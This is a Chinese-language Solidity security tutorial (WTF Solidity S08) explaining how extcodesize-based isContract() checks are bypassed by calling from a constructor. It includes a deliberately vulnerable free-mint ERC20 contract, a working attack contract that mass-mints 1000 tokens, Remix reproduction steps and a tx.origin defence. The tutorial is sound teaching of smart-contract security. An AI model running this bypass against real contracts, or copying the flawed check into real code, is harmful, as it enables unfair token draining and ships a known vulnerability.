WTF Solidity 合约安全: S08. 绕过合约长度检查
我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。
所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity
这一讲,我们将介绍绕过合约长度检查,并介绍预防的方法。
绕过合约检查
很多 freemint 的项目为了限制科学家(程序员)会用到 isContract()
方法,希望将调用者 msg.sender
限制为外部账户(EOA),而非合约。这个函数利用 extcodesize
获取该地址所存储的 bytecode
长度(runtime),若大于0,则判断为合约,否则就是EOA(用户)。
// 利用 extcodesize 检查是否为合约
function isContract(address account) public view returns (bool) {
// extcodesize > 0 的地址一定是合约地址
// 但是合约在构造函数时候 extcodesize 为0
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
这里有一个漏洞,就是在合约在被创建的时候,runtime bytecode
还没有被存储到地址上,因此 bytecode
长度为0。也就是说,如果我们将逻辑写在合约的构造函数 constructor
中的话,就可以绕过 isContract()
检查。
漏洞例子
下面我们来看一个例子:ContractCheck
合约是一个 freemint ERC20 合约,铸造函数 mint()
中使用了 isContract()
函数来阻止合约地址的调用,防止科学家批量铸造。每次调用 mint()
可以铸造 100 枚代币。
// 用extcodesize检查是否为合约地址
contract ContractCheck is ERC20 {
// 构造函数:初始化代币名称和代号
constructor() ERC20("", "") {}
// 利用 extcodesize 检查是否为合约
function isContract(address account) public view returns (bool) {
// extcodesize > 0 的地址一定是合约地址
// 但是合约在构造函数时候 extcodesize 为0
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
// mint函数,只有非合约地址能调用(有漏洞)
function mint() public {
require(!isContract(msg.sender), "Contract not allowed!");
_mint(msg.sender, 100);
}
}
我们写一个攻击合约,在 constructor
中多次调用 ContractCheck
合约中的 mint()
函数,批量铸造 1000
枚代币:
// 利用构造函数的特点攻击
contract NotContract {
bool public isContract;
address public contractCheck;
// 当合约正在被创建时,extcodesize (代码长度) 为 0,因此不会被 isContract() 检测出。
constructor(address addr) {
contractCheck = addr;
isContract = ContractCheck(addr).isContract(address(this));
// This will work
for(uint i; i < 10; i++){
ContractCheck(addr).mint();
}
}
// 合约创建好以后,extcodesize > 0,isContract() 可以检测
function mint() external {
ContractCheck(contractCheck).mint();
}
}
如果我们之前讲的是正确的话,在构造函数调用 mint()
可以绕过 isContract()
的检查成功铸造代币,那么函数将成功部署,并且状态变量 isContract
会在构造函数赋值 false
。而在合约部署之后,runtime bytecode
已经被存储在合约地址上了,extcodesize > 0
, isContract()
能够成功阻止铸造,调用 mint()
函数将失败。
Remix
复现
部署
ContractCheck
合约。部署
NotContract
合约,参数为ContractCheck
合约地址。调用
ContractCheck
合约的balanceOf
查看NotContract
合约的代币余额为1000
,攻击成功。调用
NotContract
合约的mint()
函数,由于此时合约已经部署完成,调用mint()
函数将失败。
预防办法
你可以使用 (tx.origin == msg.sender)
来检测调用者是否为合约。如果调用者为 EOA,那么tx.origin
和msg.sender
相等;如果它们俩不相等,调用者为合约。
function realContract(address account) public view returns (bool) {
return (tx.origin == msg.sender);
}
总结
这一讲,我们介绍了合约长度检查可以被绕过的漏洞,并介绍预防的方法。如果一个地址的 extcodesize > 0
,则该地址一定为合约;但如果 extcodesize = 0
,该地址既可能为 EOA
,也可能为正在创建状态的合约。